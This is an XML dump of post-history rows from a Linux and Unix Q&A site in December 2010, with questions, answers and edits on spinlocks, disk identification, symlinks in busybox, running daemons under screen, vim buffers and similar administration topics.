  <row Id="11249" PostHistoryTypeId="2" PostId="5087" RevisionGUID="403c96ca-5108-4198-9a24-ba827996876a" CreationDate="2010-12-22T13:25:18.583" UserId="2759" Text="You could read the disk properties directly through sysfs, also check the other files/dirs in _/sys/class/block/**sda**/device/_ (replace **sda** with drive you need).&#xD;&#xA;&#xD;&#xA;    cat /sys/class/block/sda/device/{model,vendor} " />
  <row Id="11250" PostHistoryTypeId="2" PostId="5088" RevisionGUID="fe6dfb02-813a-45ba-a647-560e0b18dee3" CreationDate="2010-12-22T13:53:00.177" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to know about spinlocks in detail?  &#xD;&#xA;Could someone explain that to me?  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11251" PostHistoryTypeId="1" PostId="5088" RevisionGUID="fe6dfb02-813a-45ba-a647-560e0b18dee3" CreationDate="2010-12-22T13:53:00.177" UserId="2871" Text="What is a spinlock in Linux?" />
  <row Id="11252" PostHistoryTypeId="3" PostId="5088" RevisionGUID="fe6dfb02-813a-45ba-a647-560e0b18dee3" CreationDate="2010-12-22T13:53:00.177" UserId="2871" Text="élinuxàéspinlockà" />
  <row Id="11253" PostHistoryTypeId="2" PostId="5089" RevisionGUID="9433a650-ba4b-4a71-9823-135ab530de08" CreationDate="2010-12-22T14:04:00.997" UserId="2482" Text="try running &quot;smartctl -a /dev/hda&quot; (could be sda in your case, cat /proc/partitions will show you the device type to use)&#xD;&#xA;" />
  <row Id="11254" PostHistoryTypeId="2" PostId="5090" RevisionGUID="b2c46796-8f2d-4dee-9887-5f37579b31fb" CreationDate="2010-12-22T14:08:29.420" UserId="2180" Text="A spin lock is when a process continually polls for a lock to be removed. It is considered bad because the process is consuming cycles (usually) needlessly. It is not Linux-specific, but a general programming pattern.&#xD;&#xA;&#xD;&#xA;Example of a spinlock:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #wait for 'program' to clear a lock before doing stuff&#xD;&#xA;    while [ -f /var/run/example.lock ]; do&#xD;&#xA;      sleep 1&#xD;&#xA;    done&#xD;&#xA;    #do stuff&#xD;&#xA;" />
  <row Id="11255" PostHistoryTypeId="2" PostId="5091" RevisionGUID="6b13a573-cfb4-4db4-9462-3d9b60354ccc" CreationDate="2010-12-22T14:11:33.570" UserId="676" Text="There is a great site for this at: http://www.commandlinefu.com/commands/browse&#xD;&#xA;" />
  <row Id="11256" PostHistoryTypeId="5" PostId="5090" RevisionGUID="42772cd5-42da-494b-a25a-b60a52d9e24a" CreationDate="2010-12-22T14:15:56.657" UserId="2180" Comment="added 3 characters in body" Text="A spin lock is when a process continually polls for a lock to be removed. It is considered bad because the process is consuming cycles (usually) needlessly. It is not Linux-specific, but a general programming pattern.&#xD;&#xA;&#xD;&#xA;Example of a spinlock:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #wait for some program to clear a lock before doing stuff&#xD;&#xA;    while [ -f /var/run/example.lock ]; do&#xD;&#xA;      sleep 1&#xD;&#xA;    done&#xD;&#xA;    #do stuff&#xD;&#xA;" />
  <row Id="11257" PostHistoryTypeId="5" PostId="5090" RevisionGUID="7b489846-abfd-4bfd-bd77-abe2b2867573" CreationDate="2010-12-22T14:24:48.243" UserId="2180" Comment="added 536 characters in body" Text="A spin lock is when a process continually polls for a lock to be removed. It is considered bad because the process is consuming cycles (usually) needlessly. It is not Linux-specific, but a general programming pattern.&#xD;&#xA;&#xD;&#xA;Example of a spinlock:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #wait for some program to clear a lock before doing stuff&#xD;&#xA;    while [ -f /var/run/example.lock ]; do&#xD;&#xA;      sleep 1&#xD;&#xA;    done&#xD;&#xA;    #do stuff&#xD;&#xA;&#xD;&#xA;There is frequently a way to avoid a spin lock. For this particular example, there is a Linux tool called [inotifywait][1] (it's not usually installed by default). If it was written in C, you would simply use the [inotify][2] API that Linux provides.&#xD;&#xA;&#xD;&#xA;The same example, using inotifywait shows how to accomplish the same thing without a spin lock:&#xD;&#xA;&#xD;&#xA;    #/bin/sh&#xD;&#xA;    inotifywait -e delete_self /var/run/example.lock&#xD;&#xA;    #do stuff&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/inotifywait&#xD;&#xA;  [2]: http://www.linuxjournal.com/article/8478" />
  <row Id="11258" PostHistoryTypeId="2" PostId="5092" RevisionGUID="8c839ca9-abea-431f-8f25-fbcaf1a0a979" CreationDate="2010-12-22T14:55:18.557" UserId="2489" Text="Figured it out.&#xD;&#xA;&#xD;&#xA;I should have ran `xrandr --output HDMI-0 --mode 1280x1024 --right-of DVI-0` with sudo.  &#xD;&#xA;That way normal applications don't have access to Randr's setup (resolution etc.), and so can't break anything." />
  <row Id="11259" PostHistoryTypeId="2" PostId="5093" RevisionGUID="9d4e80d1-595f-4df9-b8fe-f08d5934f72d" CreationDate="2010-12-22T15:11:29.890" UserId="2180" Text="I am trying to (as close as possibly) atomically change a symlink. I've tried:&#xD;&#xA;&#xD;&#xA;    ln -sf other_dir existing_symlink&#xD;&#xA;&#xD;&#xA;That just put the new symlink in the directory that existing_symlink pointed to.&#xD;&#xA;&#xD;&#xA;    ln -sf other_dir new_symlink&#xD;&#xA;    mv -f new_symlink existing_symlink&#xD;&#xA;&#xD;&#xA;That did the same thing: it moved the symlink into the directory.&#xD;&#xA;&#xD;&#xA;    cp -s other_dir existing_symlink&#xD;&#xA;&#xD;&#xA;Again, the same thing.&#xD;&#xA;&#xD;&#xA;I've read that `mv -T` is was made for this, but busybox doesn't have the `-T` flag." />
  <row Id="11260" PostHistoryTypeId="1" PostId="5093" RevisionGUID="9d4e80d1-595f-4df9-b8fe-f08d5934f72d" CreationDate="2010-12-22T15:11:29.890" UserId="2180" Text="How does one atomically change a symlink to a directory in busybox?" />
  <row Id="11261" PostHistoryTypeId="3" PostId="5093" RevisionGUID="9d4e80d1-595f-4df9-b8fe-f08d5934f72d" CreationDate="2010-12-22T15:11:29.890" UserId="2180" Text="élinuxàédirectoryàésymlinkàébusyboxà" />
  <row Id="11262" PostHistoryTypeId="5" PostId="5093" RevisionGUID="950fc024-16a9-4150-8027-d147b631e1e5" CreationDate="2010-12-22T15:21:24.237" UserId="2180" Comment="added 14 characters in body" Text="I am trying to (as close as possibly) atomically change a symlink. I've tried:&#xD;&#xA;&#xD;&#xA;    ln -sf other_dir existing_symlink&#xD;&#xA;&#xD;&#xA;That just put the new symlink in the directory that existing_symlink pointed to.&#xD;&#xA;&#xD;&#xA;    ln -sf other_dir new_symlink&#xD;&#xA;    mv -f new_symlink existing_symlink&#xD;&#xA;&#xD;&#xA;That did the same thing: it moved the symlink into the directory.&#xD;&#xA;&#xD;&#xA;    cp -s other_dir existing_symlink&#xD;&#xA;&#xD;&#xA;It refuses because it's a directory.&#xD;&#xA;&#xD;&#xA;I've read that `mv -T` is was made for this, but busybox doesn't have the `-T` flag." />
  <row Id="11263" PostHistoryTypeId="5" PostId="4607" RevisionGUID="714dde17-1b23-4bfa-b04a-e5ae04b21f7f" CreationDate="2010-12-22T15:24:48.987" UserId="73" Comment="deleted 31 characters in body" Text="While reading through the kernel documentation on ramdisk in &#xD;&#xA;[ramfs-rootfs-initramfs.txt][1] i was having a doubt like the ramdisk explained there is same as the initrd features described in the post at [the-difference-between-initrd-and-initramfs][2].  &#xD;&#xA;&#xD;&#xA;Could someone clarify me on this??  &#xD;&#xA;&#xD;&#xA;And if it is the same, i read that there are many disadvantages for it, but still in my fedora PC, i see &#xD;&#xA;&#xD;&#xA;&gt; initrd-2.6.29.4-167.fc11.i686.PAE.img &#xD;&#xA;&#xD;&#xA;in my boot folder. Is it different from the initrd mentioned above??  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPDATE_EDIT :  &#xD;&#xA;In of the  [articles][3] I even saw a command like    &#xD;&#xA;`# update-initramfs -u all  &#xD;&#xA;   update-initramfs: Generating /boot/initrd.img-2.6.18-5-amd64`   &#xD;&#xA;&#xD;&#xA;So how is this initramfs linked to initrd.img ?  &#xD;&#xA;&#xD;&#xA;  [1]: http://android.git.kernel.org/?p=kernel/common.git;a=blob;f=Documentation/filesystems/ramfs-rootfs-initramfs.txt;h=7be232b44ee4602f74dc0b75ed66d150c23a6aaf;hb=HEAD&#xD;&#xA;  [2]: http://askubuntu.com/questions/14961/what-is-the-difference-between-initrd-and-initramfs/14971#14971&#xD;&#xA;  [3]: http://wejn.org/how-to-make-passwordless-cryptsetup.html" />
  <row Id="11264" PostHistoryTypeId="5" PostId="4511" RevisionGUID="c9595b7a-c28d-498e-9326-a545ca3362a3" CreationDate="2010-12-22T15:25:01.763" UserId="73" Comment="deleted 36 characters in body" Text="I have scenario in which   &#xD;&#xA;my host is : x86 32 bit processor  &#xD;&#xA;my target is : x86 64 bit processor &#xD;&#xA;&#xD;&#xA;I have a couple of questions :   &#xD;&#xA;&#xD;&#xA; - I want to know if i can simply&#xD;&#xA;   compile a program in my host using&#xD;&#xA;   the available gcc and run it on the&#xD;&#xA;   target?&#xD;&#xA; - Do i need to cross compile it for x86&#xD;&#xA;   64 bit processor? If yes, how can i specify it while compiling?&#xD;&#xA; - Do i need to use separate tool-chain&#xD;&#xA;   for cross-compiling the program?  &#xD;&#xA;" />
  <row Id="11265" PostHistoryTypeId="5" PostId="4593" RevisionGUID="82eb4590-f62c-42a7-b446-e7dcddc18fb9" CreationDate="2010-12-22T15:25:05.273" UserId="73" Comment="deleted 28 characters in body" Text="I have a target in which i have the toolchain installed with the RFS image.  &#xD;&#xA;If i have the kernel source code in some PC in the network which i can mount via NFS, is it possible to compile the source code from the target?   &#xD;&#xA;&#xD;&#xA;If yes, could you explain how or what different techniques are available for it.  &#xD;&#xA;&#xD;&#xA;EDIT :  The Scenario I wish to Execute -  &#xD;&#xA;When my board boots up it will mount my root file system(RFS) which has the toolchain and the binutils present within it.  &#xD;&#xA;&#xD;&#xA;After the RFS has been mounted successfully, it will connect to the NFS location where my kernel source is present and using the binutils in my RFS, it will try to compile that source code.  &#xD;&#xA;Once the compilation is successful the new executable (for eg. vmlinux.bin) will be flashed to the ROM and board will be restarted with the new image.  &#xD;&#xA;&#xD;&#xA;I just want to know if this scenario can be realized. If Yes, how can it be done in a more technical way?&#xD;&#xA;" />
  <row Id="11266" PostHistoryTypeId="5" PostId="5088" RevisionGUID="faa9eab7-3d8b-458f-a1f9-f29c1329c9e1" CreationDate="2010-12-22T15:25:07.753" UserId="73" Comment="deleted 29 characters in body" Text="I would like to know about spinlocks in detail?  &#xD;&#xA;Could someone explain that to me?  &#xD;&#xA;" />
  <row Id="11267" PostHistoryTypeId="5" PostId="4791" RevisionGUID="f8a2d936-b2fe-468a-a689-ede94fbca772" CreationDate="2010-12-22T15:25:11.607" UserId="73" Comment="deleted 30 characters in body" Text="I would like to know if i can use the **diff** tool to take the difference between two folders which contain sources as well as libraries and executable.  &#xD;&#xA;&#xD;&#xA;Right now i gave &#xD;&#xA;&#xD;&#xA;&gt; diff -Naur dir1/ dir2/&#xD;&#xA;&#xD;&#xA;It is comparing the executables within the directories and is dumping junk values.  &#xD;&#xA;Is there any way to remove the libraries and executable while comparing these directories.   &#xD;&#xA;" />
  <row Id="11268" PostHistoryTypeId="2" PostId="5094" RevisionGUID="4f668e6e-3532-4b40-a10f-d3307df546b7" CreationDate="2010-12-22T15:37:19.610" UserId="138" Text="I don't see how you can get atomic operation.  The man page for `symlink(2)` says it gives `EEXIST` if the target already exists.&#xD;&#xA;&#xD;&#xA;I also don't see how `mv -T` helps even if you have it.  Try it on a regular Linux box, one with GNU mv:&#xD;&#xA;&#xD;&#xA;    $ mkdir a b&#xD;&#xA;    $ ln -s a z&#xD;&#xA;    $ mv -T b z&#xD;&#xA;    mv: cannot overwrite non-directory `z' with directory `b'&#xD;&#xA;&#xD;&#xA;I think you're going to have to do this in two steps: remove the old symlink and recreate it." />
  <row Id="11269" PostHistoryTypeId="2" PostId="5095" RevisionGUID="a65b1513-aa7b-4280-8d03-cc239def4d5e" CreationDate="2010-12-22T16:21:49.663" UserId="138" Text="From context, I think you're talking about Linux kernel spin locks, not spin locks in general.&#xD;&#xA;&#xD;&#xA;There are places in the Linux kernel where two threads of execution are trying to use a single resource, and the nature of the use is such that it is only safe for one thread to use that resource at a time.  The kernel does this with spin locks.  Shawn's explanation gives the general idea.&#xD;&#xA;&#xD;&#xA;The kernel uses spin locks for many things, such as when sending data to a particular peripheral.  Most hardware peripherals aren't designed to handle multiple simultaneous state updates.  If two modifications have to happen, one has to strictly follow the other, they can't overlap.  A spin lock allows only one thread of execution to access the protected resource at a time.  Any other threads waiting on the spin lock &quot;spin in place&quot; until the thread holding the lock releases it.  &#xD;&#xA;&#xD;&#xA;Spin locks are a problem because spinning blocks that thread's CPU core from doing any other work.  While the Linux kernel does provide multitasking services to user space programs running under it, that doesn't extend to kernel code.&#xD;&#xA;&#xD;&#xA;This situation is changing, and has been for most of Linux's existence.  Up through Linux 2.0,  the kernel was almost purely a single-tasking program: whenever the CPU was running kernel code, only one CPU core was used, because there was a single spin lock protecting all shared resources, called the Big Kernel Lock (BKL).  Beginning with Linux 2.2, the BKL is slowly being broken up into many independent locks that each protect a more focused class of resource.  Today, with kernel 2.6, the BKL still exists, but it's only used by really old code that can't be readily moved to some more granular lock.  It is now quite possible for a multicore box to have every CPU running useful kernel code.&#xD;&#xA;&#xD;&#xA;There's a limit to the utility of breaking up the BKL because the Linux kernel lacks general multitasking.  If a CPU core gets blocked spinning on a kernel spinlock, it can't be retasked, to go do something else until the lock is released.  It just sits and spins until the lock is released.&#xD;&#xA;&#xD;&#xA;Spin locks can effectively turn a monster 16-core box into a single-core box, if the workload is such that every core is always waiting for a single spin lock.  This is the main limit to the scalability of the Linux kernel: doubling CPU cores from 2 to 4 probably will nearly double the speed of a Linux box, but doubling it from 16 to 32 probably won't, with most workloads." />
  <row Id="11270" PostHistoryTypeId="2" PostId="5096" RevisionGUID="169d25e0-08d2-4f52-b0b9-b4e3805462f2" CreationDate="2010-12-22T16:34:34.733" UserId="2689" Text="I'm used to modeless editors. Only the past year I've been using vim/gvim.&#xD;&#xA;&#xD;&#xA;I'm used to tabs in all editors. In gvim, you don't necessarily need to use tabs: you can just use buffers.&#xD;&#xA;&#xD;&#xA;My question is: what are the advantages/disadvantages between these two approaches? (buffers vs tabs) Why do these both options exist?" />
  <row Id="11271" PostHistoryTypeId="1" PostId="5096" RevisionGUID="169d25e0-08d2-4f52-b0b9-b4e3805462f2" CreationDate="2010-12-22T16:34:34.733" UserId="2689" Text="Buffers or tabs in vim? What are advantages/disadvantages of each approach?" />
  <row Id="11272" PostHistoryTypeId="3" PostId="5096" RevisionGUID="169d25e0-08d2-4f52-b0b9-b4e3805462f2" CreationDate="2010-12-22T16:34:34.733" UserId="2689" Text="évimàégvimà" />
  <row Id="11273" PostHistoryTypeId="2" PostId="5097" RevisionGUID="6a5c21a0-ffce-4e06-81dd-8b49ce125984" CreationDate="2010-12-22T16:36:44.933" UserId="2594" Text="Strictly speaking Linux is a kernel and knowing it won't help that much when targeting Solaris. However, I guess by Linux you mean Gnu/Linux based distributions. In such case, Solaris and most of these operating systems share a lot of common or similar code, like Xorg, Gnome, most Gnu utilities, Java, OpenOffice, Apache, openssl, perl, python, sudo, firefox, thunderbird, the gimp, MySQL and plenty of other open source code.&#xD;&#xA;&#xD;&#xA;The administration side is where you'll find some major differences between Solaris and Linuxes but you'll find a lot of differences too between various families of Gnu/Linux based OSes too." />
  <row Id="11274" PostHistoryTypeId="5" PostId="5092" RevisionGUID="c5a2a688-21a6-4d89-a1f0-9b41ea996679" CreationDate="2010-12-22T17:18:33.027" UserId="2489" Comment="added 158 characters in body" Text="Figured it out.&#xD;&#xA;&#xD;&#xA;I should have ran `xrandr --output HDMI-0 --mode 1280x1024 --right-of DVI-0` with sudo.  &#xD;&#xA;That way normal applications don't have access to Randr's setup (resolution etc.), and so can't break anything.&#xD;&#xA;&#xD;&#xA;**Edit:** Actually, it helped with only one game (Osmos).&#xD;&#xA;For other's, monitor is still losing signal, but I can at least run xrandr again to restore it." />
  <row Id="11275" PostHistoryTypeId="2" PostId="5098" RevisionGUID="b376b60b-6213-4ff9-b45d-9b393e8ce09c" CreationDate="2010-12-22T17:54:23.230" UserId="2676" Text="&gt; I am using intel and evdev in my /etc/make.conf&#xD;&#xA;&#xD;&#xA;That means that xorg will be compiled with intel and evdev support :) &lt;br /&gt;&#xD;&#xA;Xorg doesn't read your make.conf, it tries to guess your hardware if there's no xorg.conf and it looks like it can't guess your hardware.&#xD;&#xA;&#xD;&#xA;&lt;code&gt;emerge sys-apps/lshw sys-apps/pciutils&lt;/code&gt;&lt;br /&gt;&#xD;&#xA;and look for [UNCLAIMED][1] and [DISABLED][1] devices in &lt;code&gt;lshw&lt;/code&gt; output. &lt;code&gt;lspci&lt;/code&gt; can also be usefull.&#xD;&#xA;&#xD;&#xA;Try running:&#xD;&#xA;&#xD;&#xA;    X -configure&#xD;&#xA;&#xD;&#xA;Then customize (put correct driver in appropriate place in) it's output &lt;code&gt;~/xorg.conf.new&lt;/code&gt; and use it as your &lt;code&gt;xorg.conf&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;&gt;I generally don't use modular kernel&#xD;&#xA;&#xD;&#xA;&lt;i&gt;That doesn't matter in this case&lt;/i&gt;, but that means that you can't load module with parameters, which sometimes useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ezix.org/project/wiki/HardwareLiSter#Howtointerpretlshwsoutput" />
  <row Id="11277" PostHistoryTypeId="5" PostId="5031" RevisionGUID="4781eb5a-6872-40d0-a62a-95633326961b" CreationDate="2010-12-22T18:25:43.407" UserId="4" Comment="Clarify question. How can I grab the kickstart file using NFS, HTTP, etc?" Text="I want to install CentOS 5.5 on two systems. I have a kickstart file.&#xD;&#xA;&#xD;&#xA;I would like to install CentOS on a system using this kickstart file. I'm reading the instructions provided by [fedoraproject.org][1] and [RedHat.com][2], but they suggest using a DHCP server. I don't want to set up a DHCP server right now, and I can't have DHCP traffic on this LAN.&#xD;&#xA;&#xD;&#xA;How can I make this kickstart available over the network without using DHCP to point to the file initially? I've heard that I can make the Kickstart file available using HTTP, FTP or NFS. How can I configure the RedHat installer to have an IP address on the network and grab the kickstart file from a remote server?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Anaconda/Kickstart#Making_the_Kickstart_File_Available_on_the_Network&#xD;&#xA;  [2]: http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5/html/Installation_Guide/s2-kickstart2-networkbased.html" />
  <row Id="11278" PostHistoryTypeId="6" PostId="5043" RevisionGUID="18af016d-be57-46cb-8aa4-eb201bbba95b" CreationDate="2010-12-22T18:55:11.983" UserId="885" Comment="edited tags" Text="égentooàéfileömanagementàéfreedesktopà" />
  <row Id="11279" PostHistoryTypeId="5" PostId="5083" RevisionGUID="926f3123-7309-40a1-a14d-35f2663338ff" CreationDate="2010-12-22T19:03:47.323" UserId="73" Comment="deleted 128 characters in body; edited tags; edited title" Text="I want to download the latest version of fsarchiver (I need a PKG file or RPM). Where can I find that?&#xD;&#xA;" />
  <row Id="11280" PostHistoryTypeId="4" PostId="5083" RevisionGUID="926f3123-7309-40a1-a14d-35f2663338ff" CreationDate="2010-12-22T19:03:47.323" UserId="73" Comment="deleted 128 characters in body; edited tags; edited title" Text="Where to find a PKG or RPM of fsarchiver?" />
  <row Id="11281" PostHistoryTypeId="6" PostId="5083" RevisionGUID="926f3123-7309-40a1-a14d-35f2663338ff" CreationDate="2010-12-22T19:03:47.323" UserId="73" Comment="deleted 128 characters in body; edited tags; edited title" Text="élinuxàédownloadàéfsarchiverà" />
  <row Id="11282" PostHistoryTypeId="5" PostId="5085" RevisionGUID="ff542bc0-68b2-4b1c-bb6f-73675d1d9cf3" CreationDate="2010-12-22T19:05:37.447" UserId="73" Comment="deleted 152 characters in body; edited tags; edited title" Text="With `sfdisk -s` I can see the disk capacity as follows:&#xD;&#xA;&#xD;&#xA;    $ sfdisk -s&#xD;&#xA;    /dev/cciss/c0d0: 143338560&#xD;&#xA;    total: 143338560 blocks&#xD;&#xA;&#xD;&#xA;How do I see disk details like disk manufacturer? I tried `hdparm`, but got an error:&#xD;&#xA;&#xD;&#xA;    $ hdparm -i  /dev/cciss/c0d0&#xD;&#xA;    /dev/cciss/c0d0:&#xD;&#xA;    HDIO_GET_IDENTITY failed: Inappropriate ioctl for device&#xD;&#xA;" />
  <row Id="11283" PostHistoryTypeId="6" PostId="5085" RevisionGUID="ff542bc0-68b2-4b1c-bb6f-73675d1d9cf3" CreationDate="2010-12-22T19:05:37.447" UserId="73" Comment="deleted 152 characters in body; edited tags; edited title" Text="élinuxàéhardödiskàésfdiskà" />
  <row Id="11284" PostHistoryTypeId="4" PostId="5085" RevisionGUID="ff542bc0-68b2-4b1c-bb6f-73675d1d9cf3" CreationDate="2010-12-22T19:05:37.447" UserId="73" Comment="deleted 152 characters in body; edited tags; edited title" Text="How to see disk details like manufacturer in Linux" />
  <row Id="11285" PostHistoryTypeId="2" PostId="5099" RevisionGUID="e640aca3-ee6a-448a-ab2d-cca81ed5ae5b" CreationDate="2010-12-22T20:03:21.243" UserId="3271" Text="I'm currently running a server console program in a screen because I need to both read it and occasionally send commands.&#xD;&#xA;&#xD;&#xA;I'd like to run the app as a deamon in the background (start/stop it with init).&#xD;&#xA;&#xD;&#xA;I could tail -f the log, but that won't let me send input to the process.&#xD;&#xA;&#xD;&#xA;Is there any way to set this up so I can both read and send input, but still have it running in the background?&#xD;&#xA;&#xD;&#xA;I'd also like to be able to send input to the deamon from different processes as well (a shell script that could send a &quot;Stop\n&quot; command, for instance)&#xD;&#xA;" />
  <row Id="11286" PostHistoryTypeId="1" PostId="5099" RevisionGUID="e640aca3-ee6a-448a-ab2d-cca81ed5ae5b" CreationDate="2010-12-22T20:03:21.243" UserId="3271" Text="How do I make a shell script that sends output to a process." />
  <row Id="11287" PostHistoryTypeId="3" PostId="5099" RevisionGUID="e640aca3-ee6a-448a-ab2d-cca81ed5ae5b" CreationDate="2010-12-22T20:03:21.243" UserId="3271" Text="éscriptingàéshellöscriptàétailà" />
  <row Id="11288" PostHistoryTypeId="4" PostId="5063" RevisionGUID="e8d9c5a0-42d0-43c4-80ad-2f093eddcde4" CreationDate="2010-12-22T20:10:26.923" UserId="885" Comment="tags; title" Text="No core dump on Ubuntu on a Parallels shared folder" />
  <row Id="11289" PostHistoryTypeId="6" PostId="5063" RevisionGUID="e8d9c5a0-42d0-43c4-80ad-2f093eddcde4" CreationDate="2010-12-22T20:10:26.923" UserId="885" Comment="tags; title" Text="éubuntuàévirtualömachineàéparallelsàécoreödumpà" />
  <row Id="11290" PostHistoryTypeId="5" PostId="5095" RevisionGUID="1fcc65a0-b943-4aaa-9771-9a0c1c7deed0" CreationDate="2010-12-22T20:17:17.403" UserId="138" Comment="clarity" Text="A spin lock is a way to protect a shared resource from being modified by two or more processes simultaneously.  The first process that tries to modify the resource &quot;acquires&quot; the lock and continues on its way, doing what it needed to with the resource.  Any other processes that subsequently try to acquire the lock get stopped; they are said to &quot;spin in place&quot; waiting on the lock to be released by the first process, thus the name spin lock.&#xD;&#xA;&#xD;&#xA;The Linux kernel uses spin locks for many things, such as when sending data to a particular peripheral.  Most hardware peripherals aren't designed to handle multiple simultaneous state updates.  If two different modifications have to happen, one has to strictly follow the other, they can't overlap.  A spin lock provides the necessary protection, ensuring that the modifications happen one at a time.&#xD;&#xA;&#xD;&#xA;Spin locks are a problem because spinning blocks that thread's CPU core from doing any other work.  While the Linux kernel does provide multitasking services to user space programs running under it, that general-purpose multitasking facility doesn't extend to kernel code.&#xD;&#xA;&#xD;&#xA;This situation is changing, and has been for most of Linux's existence.  Up through Linux 2.0,  the kernel was almost purely a single-tasking program: whenever the CPU was running kernel code, only one CPU core was used, because there was a single spin lock protecting all shared resources, called the Big Kernel Lock (BKL).  Beginning with Linux 2.2, the BKL is slowly being broken up into many independent locks that each protect a more focused class of resource.  Today, with kernel 2.6, the BKL still exists, but it's only used by really old code that can't be readily moved to some more granular lock.  It is now quite possible for a multicore box to have every CPU running useful kernel code.&#xD;&#xA;&#xD;&#xA;There's a limit to the utility of breaking up the BKL because the Linux kernel lacks general multitasking.  If a CPU core gets blocked spinning on a kernel spin lock, it can't be retasked, to go do something else until the lock is released.  It just sits and spins until the lock is released.&#xD;&#xA;&#xD;&#xA;Spin locks can effectively turn a monster 16-core box into a single-core box, if the workload is such that every core is always waiting for a single spin lock.  This is the main limit to the scalability of the Linux kernel: doubling CPU cores from 2 to 4 probably will nearly double the speed of a Linux box, but doubling it from 16 to 32 probably won't, with most workloads." />
  <row Id="11291" PostHistoryTypeId="6" PostId="682" RevisionGUID="accb717d-fbdd-41f0-9f53-a7e6e34e363c" CreationDate="2010-12-22T20:19:58.417" UserId="885" Comment="edited tags" Text="éunixàéphilosophyàédesignà" />
  <row Id="11292" PostHistoryTypeId="6" PostId="4511" RevisionGUID="d28ef61a-51f8-43cf-b3f0-910f2e86fea3" CreationDate="2010-12-22T20:20:19.993" UserId="885" Comment="edited tags" Text="élinuxàécompilingàéprocessorötypeà" />
  <row Id="11294" PostHistoryTypeId="2" PostId="5101" RevisionGUID="75218e0e-c2ac-4aa3-a077-07d5494a3151" CreationDate="2010-12-22T20:31:00.410" UserId="885" Text="Starting the program inside screen is really your best bet.&#xD;&#xA;&#xD;&#xA;Instead of invoking the daemon directly from your service manager (are you really using just SysV init, or something additional like wrapper scripts or Upstart?), invoke&#xD;&#xA;&#xD;&#xA;    screen -c daemon.screenrc -L -d -m -S daemon_name /path/to/daemond --option&#xD;&#xA;&#xD;&#xA;Since the daemon won't be a child process of the service manager, you need to make sure to send a signal to the right process. How to do that depends on exactly how the daemon is started and by what.&#xD;&#xA;&#xD;&#xA;It's [technically possible](http://unix.stackexchange.com/questions/4034/how-can-i-pause-up-a-running-process-over-ssh-disown-it-associate-it-to-a-new-s) to attach a running process to a terminal, but there's a risk you'll crash the program, so this is definitely out for a production system.&#xD;&#xA;&#xD;&#xA;The `-L` option makes screen write everything that appears in its window to a file. The file name is given in `daemon.screenrc` with the `logfile` directive.&#xD;&#xA;" />
  <row Id="11295" PostHistoryTypeId="2" PostId="5102" RevisionGUID="33b8b87e-c472-4fa4-9abf-8c4527755124" CreationDate="2010-12-22T20:54:50.413" UserId="885" Text="A [lock](http://en.wikipedia.org/wiki/Lock_%28computer_science%29) is a way for two or more tasks (processes, threads) to synchronize. Specifically, when both tasks need intermittent access to a resource that can only be used by one task at a time, it's a way for the tasks to arrange not to be using the resource at the same time. In order to access the resource, a task must perform the following steps:&#xD;&#xA;&#xD;&#xA;    take the lock&#xD;&#xA;    use the resource&#xD;&#xA;    release the lock&#xD;&#xA;&#xD;&#xA;Taking a lock is not possible if another task has already taken it. (Think of the lock as a physical token object. Either the object is in a drawer, or someone has it in their hand. Only the person holding the object may access the resource.) So “take the lock” really means “wait until no one else has the lock, then take it”.&#xD;&#xA;&#xD;&#xA;From a high-level point of view, there are two major ways to implement locks: spinlocks, and conditions. With [spinlocks](http://en.wikipedia.org/wiki/Spinlock), taking the lock means just “spinning” (i.e. doing nothing in a loop) until noone else has the lock. With conditions, if a task attempts to take the lock but is blocked because another task holds it, the newcomer enters a wait queue; the release operation signals to any waiting task that the lock is now available.&#xD;&#xA;&#xD;&#xA;(These explanations are not enough to let you implement a lock, because I haven't said anything about atomicity. But atomicity is not important here.)&#xD;&#xA;&#xD;&#xA;Spinlocks are obviously wasteful: the waiting task keeps checking whether the lock is taken. So why and when is it used? Spinlocks are often very cheap to obtain in the case where the lock isn't held. This makes it attractive when the chance for the lock to be held is small. Furthermore, spinlocks are only viable if obtaining the lock is not expected to take long.&#xD;&#xA;So spinlocks tend to be used in situations where they will remain held for a very short time, so that most attempts are expected to succeed on the first try, and those that need a wait don't wait long.&#xD;&#xA;&#xD;&#xA;There is a good explanation of spinlocks and other concurrency mechanisms of the Linux kernel in [Linux Device Drivers](http://lwn.net/Kernel/LDD3/), chapter 5.&#xD;&#xA;" />
  <row Id="11297" PostHistoryTypeId="2" PostId="5103" RevisionGUID="f8aaffb5-ac34-41d2-81cc-a90eb21d680e" CreationDate="2010-12-22T22:03:02.740" UserId="1942" Text="I would like to retrieve mail from a server using fetchmail and have it deposit it directly into an mailbox/repository and not hand it off to a mda.&#xD;&#xA;Is this possible? How?&#xD;&#xA;&#xD;&#xA;In the alternate, is there an mda which simply recieves things from er fetchamil and stores them in some sort of repository without doing any processing?&#xD;&#xA;" />
  <row Id="11298" PostHistoryTypeId="1" PostId="5103" RevisionGUID="f8aaffb5-ac34-41d2-81cc-a90eb21d680e" CreationDate="2010-12-22T22:03:02.740" UserId="1942" Text="fetchmail without an mda" />
  <row Id="11299" PostHistoryTypeId="3" PostId="5103" RevisionGUID="f8aaffb5-ac34-41d2-81cc-a90eb21d680e" CreationDate="2010-12-22T22:03:02.740" UserId="1942" Text="émdaàéfetchmailà" />
